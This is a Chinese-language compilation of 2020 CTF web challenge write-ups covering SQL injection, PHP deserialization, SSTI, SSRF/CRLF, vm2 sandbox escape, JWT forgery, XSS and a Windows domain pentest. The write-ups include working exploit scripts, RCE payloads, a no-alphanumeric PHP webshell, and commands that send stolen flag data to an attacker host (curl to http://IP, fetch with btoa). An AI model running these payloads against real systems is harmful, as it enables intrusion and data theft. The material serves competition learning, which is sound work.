2020WriteUp 汇总 VOL 1

  31 mins to read  


ichunqiu新春战役公益赛

DAY 1

简单的招聘系统

登录存在注入,1'||id=1#登录admin账号, admin账号处可查询用户key,二次注入(ichunqiu平台貌似限制了请求最大响应时间)

SQL为INSERT INTO log(key, uname, profile) (SELECT key, uname, profile WHERE key=''),通过修改普通用户的profile,用admin来查询,二次 + 报错注一下就行了

profile=123' and 1=(updatexml(1,mid(concat(0x25,(select flaaag from flag)),16,32),1)))#

简单上传

无过滤,不知道这题想干嘛

babyphp

这题出的还行,但就是太刻意了,为了出题而出题,写了一堆莫名其妙的魔术方法,代码水平我也就不吐槽了

反序列化链:

UpdateHelper.__destruct
User.__toString
Info.update -> Info.__call
Info.CtrlCase.login  // argument可控
dbCtrl.login

反序列化点在user.update,将对象注入到user.age,利用过滤函数增加字符长度来溢出,注入类成员(类似于Joomla3.4.6 RCE)

public function update()
{
    $Info = unserialize($this->getNewinfo());
    $age = $Info->age;
    $nickname = $Info->nickname;
    $updateAction = new UpdateHelper(
        $_SESSION['id'],
        $Info,
        "update user SET age=$age,nickname=$nickname where id=" . $_SESSION['id']
    );
    //这个功能还没有写完 先占坑
}
public function getNewInfo()
{
    $age = $_POST['age'];
    $nickname = $_POST['nickname'];
    return safe(serialize(new Info($age, $nickname)));
}

EXP:

<?php

function safe($parm) {
    $array = array('union', 'regexp', 'load', 'into', 'flag', 'file', 'insert', "'", '\\', "*", "alter");
    return str_replace($array, 'hacker', $parm);
}

class User {
    public $id;
    public $age = null;
    public $nickname = null;
}

class Info {
    public $age;
    public $nickname;
    public $CtrlCase;
}

class UpdateHelper {
    public $id;
    public $newinfo;
    public $sql;
}

class dbCtrl {
    public $hostname = "127.0.0.1";
    public $dbuser = "noob123";
    public $dbpass = "noob123";
    public $database = "noob123";
    public $name;
    public $password;
    public $mysqli;
    public $token;
}

$uh = new UpdateHelper;
$u = new User;
$i = new Info;
$dc = new dbCtrl;

$dc->name='admin';
$dc->password='p';
$i->CtrlCase = $dc;
$u->nickname = $i;
$u->age = 'SELECT id, 0x3833383738633931313731333338393032653066653066623937613863343761 FROM user WHERE username=?';
$uh->sql = $u;

$exp = serialize($uh);

$ii = new Info;
$ii->age = '1*********************************************************************************************************";s:8:"nickname";'.$exp.'s:8:"CtrlCase";N;}';

echo $ii->age;

请求后可设置$_SESSION[‘token’]为admin,拿到Cookie后切到login.php登录admin,密码随意,登录逻辑会直接设置login=1,然后跳转到update.php就可以拿flag了

EXP试了下完全没问题,不知道为啥注入对象的析构函数没有被调用(玄学?)

P.s. 既然能控制mysql连接了,利用load local infile直接读flag.php应该也可行,具体看题目环境配置了

2020/2/25更新:今天又看了一下,发现是因为PHP未处理异常会导致脚本直接终止而不调用析构函数。因为后面这一句类型转换报错:

$updateAction = new UpdateHelper(
    $_SESSION['id'],
    $Info,
    "update user SET age=$age,nickname=$nickname where id=" . $_SESSION['id']
);

Catchable fatal error: Object of class UpdateHelper could not be converted to string in lib.php on line 155

阿P,真有你的啊。我寻思你好歹带个GC,退出时不该把收尾工作做了吗

所以这题不要把对象注入到age或nickname:

import requests

data = {
    'age': '1*********************************************************************************************************";s:8:"nickname";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:104:"SELECT id, 0x3833383738633931313731333338393032653066653066623937613863343761 FROM user WHERE username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:8:"password";s:1:"p";s:6:"mysqli";N;s:5:"token";N;}}}}s:8:"CtrlCase";N;}',
    'nickname': '',
}

data={
    'nickname': '1*****************************************************************************************************unionload";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:104:"SELECT id, 0x3833383738633931313731333338393032653066653066623937613863343761 FROM user WHERE username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:8:"password";s:1:"p";s:6:"mysqli";N;s:5:"token";N;}}}}}',
    'age': '',
}

r = requests.post(
    'http://127.0.0.1/update.php', data=data
)

print(r.text)
print(r.headers)

babysqli

没时间看了,看解题人数比上一题反序列化简单

DAY 2

easysqli_copy

PDO堆叠 + 宽字节 + 延时,家里路由器无线桥接后信号一直不太好,脚本跑了半天。延时注入有必要弄一堆奇怪又长的列名来浪费时间吗,而且题目本身就select了一列,flag占一列,为什么要设置总共>=四列,觉得你的列名很萌萌哒吗

// python2
import requests

url = 'http://addeb1bebcfb48f6a3e6a2c74972ef2fa77a6c4ab4fb41f9.changame.ichunqiu.com/?id='

flag = 'flag{09d3acb6-'

# balabala,eihey,fllllll4g,(后面还有列,我服了,憨憨出题人)
for i in range(15, 50):
    for w in '-0123456789abcdef}':
        _id = '%bf%27;set%20@sql=0x{};prepare%20stmt%20from%20@sql;execute%20stmt;/*'
        payload = 'select if(ascii(mid((select group_concat(fllllll4g) from table1),{},1))={},sleep(3),0)'.format(i, ord(w))
        _id = _id.format(payload.encode('hex'))

        try:
            requests.get(url+_id, timeout=3)
        except:
            flag += w
            break
    print(flag)

another 2 SQLi

又是注入,不做了88

DAY 3

最后一天了认真打,今天ak了

FlaskApp

Python3.7.4的SSTI,下了个Python3.7的解释器,发现内置类的架构被重构了,之前常用的payload已经不能通过object.__subclasses__访问到了

看了一下_frozen_importlib.BuiltinImporter可以用,测了一下服务器上的索引是80

EXP:

>>> b("{{''.__class__.__mro__[-1].__subclasses__()[80].load_module('o'+'s')['po'+'pen']('cat this_is_the_fl'+'ag.txt').read()}}")
b'e3snJy5fX2NsYXNzX18uX19tcm9fX1stMV0uX19zdWJjbGFzc2VzX18oKVs4MF0ubG9hZF9tb2R1bGUoJ28nKydzJylbJ3BvJysncGVuJ10oJ2NhdCB0aGlzX2lzX3RoZV9mbCcrJ2FnLnR4dCcpLnJlYWQoKX19'

node_game

这题出的不错,有点麻烦,做了四个小时

拿到代码读了一遍就猜到是CRLF注入一个POST请求来上传模板文件来RCE

首先看一下怎么注入,unicode安全问题,参考这个链接https://xz.aliyun.com/t/2894

SSRF的流程是:

  • Express获取GET query (此时urldecode一次)
  • 将query拼接到/source?后面,丢给http.get请求,此时会urlencode一次
  • CRLF注入一个POST请求访问file_upload接口,HTTP协议报文的控制字符需要是non-encode的

因为payload是在最外层报文的GET query里,所以只能利用node.js中http.get转义unicode的feature来处理特殊字符,GET请求里注入\u0120, \u010d, \u010a等字符,Express拿到就是对应unicode,交给http.get则会被转换为对应ascii,而不会被urlencode

请求注入这里比较麻烦,本地监听后慢慢试,除此之外,第一个报文给个keep-alive,防止连接断开(经验之谈,我不确定不加会不会失败)

注入一个POST请求成功后,需要上传一个pug模版,google一下pug模板即可。字符串过滤随便绕一下就行了

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('whoami').toString()")
-return x

上传后需要加载模板,可以看到/?action=可加载,不过限制了路径穿越,这里就很刻意了。在上传路由里保存了两次,一个重命名了保存在dist,另一个副本保存在uploads/MIME_TYPE/FILE_NAME,在MIME里跳一下目录到template就行了

EXP:

import requests


payload = """2 HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=------------------------a6a8d18957515a9a

{}""".replace('\n', '\r\n')

body = """--------------------------a6a8d18957515a9a
Content-Disposition: form-data; name="file"; filename="evil2.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
--------------------------a6a8d18957515a9a--

""".replace('\n', '\r\n').replace('+', '\u012b')

payload = payload.format(len(body), body)   \
        .replace(' ', '\u0120')             \
        .replace('\r\n', '\u010d\u010a')    \
        .replace('"', '\u0122')             \
        .replace("'", '\u0a27')             \
        .replace('[', '\u015b')             \
        .replace(']', '\u015d')             \
        + 'GET' + '\u0120' + '/'

print(requests.get('http://101.200.195.106:33322/core?q=' + payload).content)
#print(requests.get('http://127.0.0.1:8081/core?q=' + payload).content)

然后访问一下/?action=evil2就行了

ezExpress

配置错误,直接给flag了

easy_thinking

TP6.0的任意文件写:

https://www.smi1e.top/thinkphp6-0-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%BC%8F%E6%B4%9E/

getshell后用GC_UAF绕过disabled_functions

安恒新春抗疫

easyflask1

没啥意思的题,权限还给的root

/%7B%set%20x,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,c=request['args']['x'],request['args']['a1'],request['args']['a2'],request['args']['a3'],request['args']['a4'],request['args']['a5'],request['args']['a6'],request['args']['a7'],request['args']['a8'],request['args']['a9'],request['args']['a10'],request['args']['a11'],request['args']['c']%%7D%7B%7B""[x*2%2Ba2%2Bx*2][x*2%2Ba3%2Bx*2][-1][x*2%2Ba4%2Bx*2]()[224][x*2%2Ba5%2Bx*2][x*2%2Ba7%2Bx*2][x*2%2Ba6%2Bx*2]['eval'](c)%7D%7D?x=_&a1=getitem&a2=class&a3=mro&a4=subclasses&a5=init&a6=builtins&a7=globals&c=__import__('os').popen('cat%20/flag').read(

其他三道Web

安恒什么题都收,质量太低了

XCTF高校战疫

webtmp

用我工具直接秒:https://github.com/eddieivan01/pker

导入当前全局的secret module并修改name和category即可。题目ban了’R’,也就是不能直接调用callable对象,pker有三个内置宏,除了GLOBAL其它两个都可以当’R’用

a = GLOBAL('__main__', 'Animal')
s = GLOBAL('__main__', 'secret')
s.name = 1
s.category = 1
return OBJ(a, 1, 1)


python3 pker.py < webtmp.pk
b"c__main__\nAnimal\np0\n0c__main__\nsecret\np1\n0g1\n(}(S'name'\nI1\ndtbg1\n(}(S'category'\nI1\ndtb(g0\nI1\nI1\no."

webct

题目功能点很刻意,上传图片 + 连接指定MySQL Server

即利用MySQL load local infile反序列化phar

先上传phar

<?php
    class Fileupload {
        public $file;   
    }
    class Listfile {
        public $file;
    }

    $o = new Fileupload;
    $o->file = new Listfile;
    $o->file->file = ';/readflag';

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

服务器上用rogue-mysql-server读取phar://..../xx.gif即可RCE

sqlcheckin

这源码给的意义是啥?

username=admin&password=0’+’0

dooog

出题人用三个Flask Server模拟了krb认证流程

先由client获取TGT,再持TGT获取Ticket,最后用Ticket请求cmd_server。对cmd的校验发生在持TGT请求ticket的阶段,假如我们想绕过KDC的校验,只能拿到cmd_server的master_key直接伪造Ticket,但实际是不可能的

之后注意到KDC校验过程中程序控制流存在漏洞

if data['username'] == auth_data[0] == username:
    if int(time.time()) - data['timestamp'] < 60:
        if 0 and cmd not in ['whoami', 'ls']:
            return 'cmd error'
    session_key = genSession_key()
    session_key_enc = base64.b64encode(
        cryptor.encrypt(session_key))
    cryptor = AESCipher(auth_data[1])
    client_message = base64.b64encode(cryptor.encrypt(session_key))
    server = User.query.filter_by(username='cmd_server').first()
    cryptor = AESCipher(server.master_key)
    server_message = base64.b64encode(
        cryptor.encrypt(session_key + '|' + data['username'] +
                        '|' + cmd))
    return client_message + '|' + server_message

时间戳校验大于60则不校验cmd,且题目的KDC和cmd_server都监听在公网

EXP修改一下题目的client即可

import requests
import base64
import json
from toolkit import AESCipher
import time

username = 'iv4n'
master_key = 'aaaaaaaa'
cmd = 'curl http://IP/`/readflag`'

cryptor = AESCipher(master_key)
authenticator = cryptor.encrypt(json.dumps({'username':username, 'timestamp': int(time.time())}))

res = requests.post('http://121.37.164.32:5001/getTGT', 
    data={'username': username, 'authenticator': base64.b64encode(authenticator)})

session_key, TGT = cryptor.decrypt(base64.b64decode(res.content.split('|')[0])), res.content.split('|')[1]
print('GET TGT DONE')
#visit TGS
cryptor = AESCipher(session_key)
authenticator = cryptor.encrypt(json.dumps({'username': username, 'timestamp': 1}))
res = requests.post('http://121.37.164.32:5001/getTicket',  data={'username': username, 'cmd': cmd, 'authenticator': base64.b64encode(authenticator), 'TGT': TGT})

client_message, server_message = res.content.split('|')
session_key = cryptor.decrypt(base64.b64decode(client_message))
cryptor = AESCipher(session_key)
authenticator = base64.b64encode(cryptor.encrypt(username))
res = requests.post('http://121.37.164.32:5002/cmd', data={'server_message': server_message, 'authenticator': authenticator})

PHP-UAF

watch这个repo就行了:https://github.com/mm0r1/exploits

这次用PHP7-backtrace-bypass

hackme

没搜到compress.zlib://data:@127.0.0.1/plain;base64,{},队友做的

data这种层级伪协议为什么能不加//,迷惑。测试了一下,PHP中以下几种写法都是可以的:

data:text/plain;base64,aa==
data:/text/plain;base64,aa==
data://text/plain;base64,aa==

data:@127.0.0.1/text/plain;base64,aa==
data:/@127.0.0.1/text/plain;base64,aa==
data://@127.0.0.1/text/plain;base64,aa==

step1

源码很刻意,两种serialize handler混用的问题

step2

byteCTF的姿势,用上面的compress.zlib://data:@host绕过,后面就是hitcon的4字符利用ls -tgetshell

nweb

前端源码里hidden input,type填110,然后有个过滤为空的WAF。盲注一下,后台是MySQL load local infile

fmkq

step1

head=\&begin=%s%&url=http://127.0.0.1:8080

step2

fuzz出了{file}会被替换为errorquanbumuda,但是没测试出字符串插值

(string + "").format(file=val)

这里面可以访问参数属性,但不能调用函数,所以通过file.vip.__dict__能拿到vipcode

然后就可以读源码了,发现过滤了fl4g,找个’f’即可:vipfile.file[0]

babyjava

过滤了&,OOB可以带出/hint.txt(HTTP协议即可,出题人把pom.xml编码压缩到一行了)。而且这题可能是jdk版本过高,FTP也带不出多行文件,(1.8.0u111之类的没问题)

pom.xml提示了

Method post
Path  /you_never_know_the_path

存在fastjson 1.2.48

过滤了type,试了一下\x可以绕,后面不会,完全不懂Java sec。看WP是fastjson的trick:

而prefix是想考fastjson会自动处理理 - 和 _ 的特性,在fastjson中, parseField 这个函数⾥ 会去掉字符串中的 - 和开头的下划线,因此带个 - 就可以了了

nothardweb

我晚上脑子不清醒,index页提示的很明显了,给了第一个用户和第228个用户的id,也就是1和228的随机数。用前段时间那个reverse_mt_rand脚本就可以逆出seed

逆出seed就能拿到KEY,然后用全0的IV解密第一个block,再将正常值和全0IV解密值异或一下就能拿到真IV了

key生成时与了个10 ^ 9 - 1,直接爆破也行

等等,做了与运算,那上面的逆seed的思路就不通了,搞不懂出题人本意是啥

后面看WP就是内网一个Tomcat PUT

P.s. 其实还有非预期解,题目逻辑是如果Cookie中没有hash或user的话会设置KEY和IV到SESSION,因为KEY和IV是从SESSION取的,如果为NULL的话,PHP会有warning不过还是能正常加解密。为啥我也没想到

easy_trick_gzmtu

题目提示了传参?time=2020 / ?time=Y都可以,其实就是把参数丢给date转了一下。我这样FUZZ的结果感觉是过滤了单个字符串:?time=2019'||'{}1'#,我为啥就想不到是date format

happyvacation

这个XSS做时就知道要上传wave(aaaaaaaaaaaaa/*bbbbbbbbbbbbbbbb*/="test";alert(1))绕CSP,但感觉绕不过这个正则就放弃了

function leaveMessage($message){
    if(preg_match('/coo|<|ja|\&|\\\|>|win/i', $message)){
        $this->message = "?";
    }
    else{
        $this->message = addslashes($message);
    }
}

应该多留意一些可疑的功能,比如URLHelper里的

function go(){
    if(isset($this->pre) and isset($this->after) and isset($this->location)){
        $dest = $this->pre . $this->location . $this->after;
        header($dest);
    }
    else{
        // Error occured?
        header("Location: index.php");
    }
}

正解就是通过header来改变页面编码:

Content-Type: text/html; charset=GBK

然后宽字节逃逸出单引号

P.s. 非预期是通过里面一个可疑的eval覆盖掉上传黑名单

if(preg_match("/[^a-zA-Z_\-}>@\]*]/i", $answer)){
    $this->message = "no no no";
}
else{
    if(preg_match('/f|sy|and|or|j|sc|in/i', $answer)){
        // Big Tree 说这个正则不需要绕
        $this->message = "what are you doing bro?";
    }
    else{
        eval("\$this->".$answer." = false;");
        $this->updateList();
    }
}

因为它所有的功能类都被放到到User类的成员了

我为什么又没想到

GuessGame

JS的toUpperCase转拉丁字母特性触发merge

用原型链污染设置enableReg,进这个短路求值的最后一项

config.enableReg && noDos(regExp) && flag.match(regExp)

后面很明显用regexp做侧信道攻击,我也写过正则DFA,但我就是想不出怎么构造。Google搜到的全是RE DOS,就是没找到怎么精确控制每一位

看WP有这个链接:https://blog.rwx.kr/time-based-regex-injection/

fl(((((.*)+)+)+)+)!

这种方法匹配到最后几位会失效,因为最后几位匹配时间都很短,网络I/O干扰很大

De1ta的payload,从后往前,这种方法跑到前几位时延时会很长

^((((.*)+)+)+)+[^b]zY$

所以两种payload结合起来就可以了

CONFidenceCTF2020

hidden_flag

进去后是个mquery-web,也就是yara的Web前端,可以自写rule来匹配目录中的文件内容

尝试一下

rule evil {
    strings:
        $s = "p4{"
    condition:
        $s
}

可以看到匹配出来/opt/bin/getflag,正常情况下可以直接通过/api/download路由下载文件的,不过该题应该是改了源码,该路由会返回401(亏我还去翻历史版本看哪里加了限制)

思考了一下,应该是盲注没跑了,首先手动二分一下确定flag字符串的offset是1796:

rule evil {
	strings:
		$s = "p4{"
	condition:
		$s and $s in (1796..1798)
}

然后写个脚本盲注就好了:

import requests

# 5KB - 6KB
payload = """rule evil{{
strings:
    $s = "{}"
    condition:
        $s and $s in (1796..{})
    }}"""

url = 'https://hidden.zajebistyc.tf'
proxy = {'https': 'socks5://127.0.0.1:1080'}

flag = "p4{ind3x1ng-l3ak5}"
for i in range(16, 50):
    for w in """abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ`~!@#$%^&*()_-+='}{[];<>?/""":
        if w == '"':
            w = '\\"'

        _p = payload.format(flag + w, 1798 + i)
        print(w)
        r = requests.post(
                url + '/api/query/medium',
                json={'method': 'query', 'raw_yara': _p},
                proxies=proxy,
        )
        try:
            h = r.json().get('query_hash')
        except:
            print(r.text)
            continue
        if h is not None:
            r = requests.get(f'{url}/api/matches/{h}?offset=0&limit=50', proxies=proxy)
            if '/opt/bin/getflag' in r.text:
                flag += w
                if flag[-1] == '}':
                    print(flag)
                    exit()
                break
    print(flag)

CatWeb

进入首页查看源码:

可以发现一个非常明显的DOM XSS,即拼接了newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';

为了控制kind和cat变量,控制未转义的JSON接口返回值即可:

$ curl "http://catweb.zajebistyc.tf/cats?kind=black%22%7D"
{"status": "error", "content": "black"} could not be found"}

JSON中重复的键后者可覆盖前者,以此覆盖status

覆盖content的内容:

http://catweb.zajebistyc.tf/?grey","status":"ok","content":["\"><script>alert`1`</script><!--"],"a":"

DOM XSS的部分到这里结束了,但是X了bot半天,发现没有Cookie,Storage里空的,源码里没flag,又探测了一下内网常见的端口也毫无收获,接着看到hint:Note: Getting the flags location is a part of the challenge. You don't have to guess it.

回顾一下前面,由src="static/'+kind+'/'+cat+'"/cats?kind=可以想到它是个列目录的接口,尝试一下目录穿越:

$ curl http://catweb.zajebistyc.tf/cats?kind=../

看到flag在Flask的模版目录下,接下来通过XSS请求file协议访问本地文件系统就行了

但是直接提交给bot http://catweb.zajebistyc.tf/?grey","status":"ok","content":["\"><script>fetch('file:///app/templates/flag.txt')</script><!--"],"a":"肯定是不行的,特权域和普通域之间属于跨域请求

很容易想到通过另一个file特权域来请求,看一下MDN怎么说:

In Gecko 1.8 or earlier, any two file: URIs are considered to be same-origin. In other words, any HTML file on your local disk can read any other file on your local disk. Starting in Gecko 1.9, files are allowed to read only certain other files. Specifically, a file can read another file only if the parent directory of the originating file is an ancestor directory of the target file. Directories cannot be loaded this way, however. For example, if you have a file foo.html which accesses another file bar.html and you have navigated to it from the file index.html, the load will succeed only if bar.html is either in the same directory as index.html or in a directory contained within the same directory as index.html.

题目是FF67(实际上也只有FF允许用XHR请求file协议),所以当两个file在相同目录时,或被读取file在发起请求的file的子目录时属于同源。符合这里的情况,/app/templates/index.html -> /app/templates/flag.txt,而且index.html中没有动态内容

构造出最终的payload:

file:///app/templates/index.html?grey","status":"ok","content":["\"><script>fetch('file:///app/templates/flag.txt').then(r=>r.text()).then(data=>fetch('http://IP/'%2Bbtoa(data)))</script><!--"],"a":"

TemplateJS

这是一道node.js的沙盒题,根据题目提示ECMAScript 6 brought in a new paradigm to JavaScript: template programming!!111 ... kinda需要用到ES6某些关于模版的trick

使用vm模块构造了一个沙盒,最终目标是逃逸沙盒并访问到全局作用域中的flag变量

输入字符存在一个白名单,假如白名单中能多一个dot的话,其实就很简单了,参考vm沙盒逃逸payload

this.constructor.constructor\`return global.flag\`\`\`

首先来了解一下ES6 template

本质其实就是个语法糖,类似于字符串插值,由飘号包裹,${}中为动态计算的插值

> console.log(`${1+1} == ${1+2} => ${1+1 == 1+2}`)
2 == 3 => false

有些XSS payload使用了alert`1`,实际上这也属于template,即tagged template。下面的例子可以很好的展示

~ ❯ node
> function foo(str, ...val) {console.log(str);console.log(val)}
undefined
> foo`s`
[ 's' ]
[]
undefined
> foo`s${1+1}`
[ 's', '' ]
[ 2 ]
undefined
> foo`s${1+1}k${2+2}p`
[ 's', 'k', 'p' ]
[ 2, 4 ]
undefined
> eval`1+1`
[ '1+1' ]
> console.log`1`
[ '1' ]
undefine
>

所以在这道题中,虽然能访问到eval,并且能通过tagged template调用,但你没办法利用它,因为它接收到的参数是个list

翻一下MDN发现还有一个类似于eval可以做元编程的东西:Function (https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function) 而且它可以访问到全局作用域:

Functions created with the Function constructor do not create closures to their creation contexts; they always are created in the global scope. When running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the Function constructor was created. This is different from using eval with code for a function expression.

MDN还给了一个展示Function作用域访问规则的例子:

var x = 10;

function createFunction1() {
    var x = 20;
    return new Function('return x;'); // this |x| refers global |x|
}

function createFunction2() {
    var x = 20;
    function f() {
        return x; // this |x| refers local |x| above
    }
    return f;
}

var f1 = createFunction1();
console.log(f1());          // 10
var f2 = createFunction2();
console.log(f2());          // 20

Function接收这样的参数:Function('a', 'b', 'console.log(a+b)')。最后一个参数是要执行的代码,类型可以是列表,自定义参数也可以是列表:

> Function(['console.log(1)', 'console.log(2)'])()
1
2
undefined
> Function(['a', 'b'], 'console.log(a);console.log(b)')(1, 2)
1
2
undefined

那么利用上面tagged template的trick,将代码段放在最后一个参数中:

> Function`s${`console.log(1)`}```
1
undefined

回到题目中,我们的目标是构造出this.constructor.constructor('return global.flag')(),因为涉及到访问属性很麻烦,那么把this省略,又因为Function的作用域访问规则,global也可以省略,即constructor.constructor('return flag')()

这段代码需要一次属性访问,在没有.[]的情况下,可以使用with语句:

> let cls = {s: 'its me'}
undefined
> with (cls) console.log(s)
its me
undefined

但白名单中没有(),注意到出题人给沙盒传入了一个par lambda,它就是用来构造(val)的:

vm.createContext({par: (v => `(${v})`), source, help})

改写一下目标代码:Function('with(constructor){return constructor("return flag")()}'),然后用tagged template和par函数替换:

Function`s${`with${par`constructor`}{return constructor${par`return flag`}${par``}}`}`

执行一下有报错:

> Function`s${`with${par`constructor`}{return constructor${par`return flag`}${par``}}`}`
SyntaxError: Unexpected token return

debug一下看到,这里的return flag不是个字符串

> foo`s${`with${par`constructor`}{return constructor${par`return flag`}${par``}}`}`
[ 's', '' ]
[ 'with(constructor){return constructor(return flag)()}' ]

白名单中没有'",也没有\\来转义内部的飘号,只能考虑别的做法

为了解决这个问题,我们可以将要交给constructor.constructor执行的代码字符串当做最外层的Function的自定义参数传入。于是内层constructor.constructor接收到的参数就是一个列表['code'],但不影响,因为constructor.constructor本身就是Function,所以符合上文提到的代码参数可为列表的特性

于是将return flag当做形参s的实参传入就行了,最终实际执行的是:

Function(['s'], ['with(constructor){return constructor(s)()}'])(['return flag'])

最终的payload:

Function`s${`with${par`constructor`}{return constructor${par`s`}${par``}}`}``return flag`

数字中国虎符

拿了所有Web题一血还是比较舒服的

easy_login

webpack map泄露,源码里告知koa-static的static被设置为WEB根目录

下载源码,api.js中

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
    throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});

借助JS弱类型来保证secrets[sid] == null && sig >= 0 && sig < secret.length。JSON支持的就那几种类型,简单尝试发现数组可行

查看jsonwebtoken源码,存在option.alg == header.alg的校验。当secret == null时option.alg == ‘none’,故jwt_header.alg也需为’none’

import jwt

a = {
    "secretid": [],
    "username": "admin",
    "password": "admin",
    "iat": 1587286516
}
jwt.encode(a, None, algorithm='none')

run_code

一看404页面就知道是node.js,Error.stack可知是VM2沙盒

参数存在过滤,其实我压根没考虑过滤,知道是JS后就fuzz了?code[]=传参。过滤逻辑应该是code.indexOf(black_list_word) != -1,数组自然绕过,且JS中['exp'].toString() == 'exp'

去VM2的issues页找payload:https://github.com/patriksimek/vm2/issues/225

import requests

exp = """(function(){
	try{
		Buffer.from(new Proxy({}, {
			getOwnPropertyDescriptor(){
				throw f=>f.constructor("return process")();
			}
		}));
	}catch(e){
		return e(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
	}
})()"""

r = requests.get(
    'http://8124f165bad24430831b216fad33ec151380ff9f311f421b.changame.ichunqiu.com/run.php?code[]='
    + exp)
print(r.text)

babyupload

上传文件格式为[controlled]_[SHA256],可控制php session内容。用download功能可知session handler为php_binary

第一点

先上传filename=”sess”,content=[\x08]usernames:5:"admin";,然后修改SESSION_ID为sha256(content)即可成为admin

第二点

有如下判断

$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
    safe_delete($filename);
    die($flag);
}

upload功能存在@mkdir($dir_path, 0700, TRUE);attr=success.txt创建success.txt目录即可

GM

// exp.sage
n = ...
phi = ...

p = (n - phi + 1 - ((n - phi + 1) ^ 2 - 4 * n).nth_root(2)) // 2
q=n//p
flag = [...]
Fp=Integers(p)
f2=[0 if Fp(f).is_square() else 1 for f in flag]

x = hex(int('0'+''.join(str(i) for i in f2),2))[2:-1]
print(x)

De1CTF2020

checkin

这题当时没看,就是上传.htaccess。黑名单过滤用当时XNUCA的方法,\+换行绕过

hard_pentest 1 & 2

fuzz出/ " > *等字符不能写入文件名,知道是Windows主机。利用空stream name的ADS绕过后缀名校验,x.php::$DATA

用p牛的无字母数字webshell绕过内容校验,分号用短标签绕过,PHP7没有assert,所以直接调SYSTEM

<?=$_=[]?>
<?=$_=@"$_"?>
<?=$_=$_['!'=='@']?>

<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>

<?=$___=$__?>

<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$___.=$__?>

<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$___.=$__?>

<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$___.=$__?>


<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$___.=$__?>

<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$___.=$__?>

<?=$____='_'?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____.=$__?>

<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____.=$__?>

<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____.=$__?>


<?=$_=$$____?>
<?=$___($_['_'])?>

后面正常操作,certutil下载beacon上线。

dir \\dc.de1ctf2020.lab\Hint有一个压缩包,net user /domainHintZip_pass用户,通过GPP漏洞拿到该用户密码,解压即可

第二关

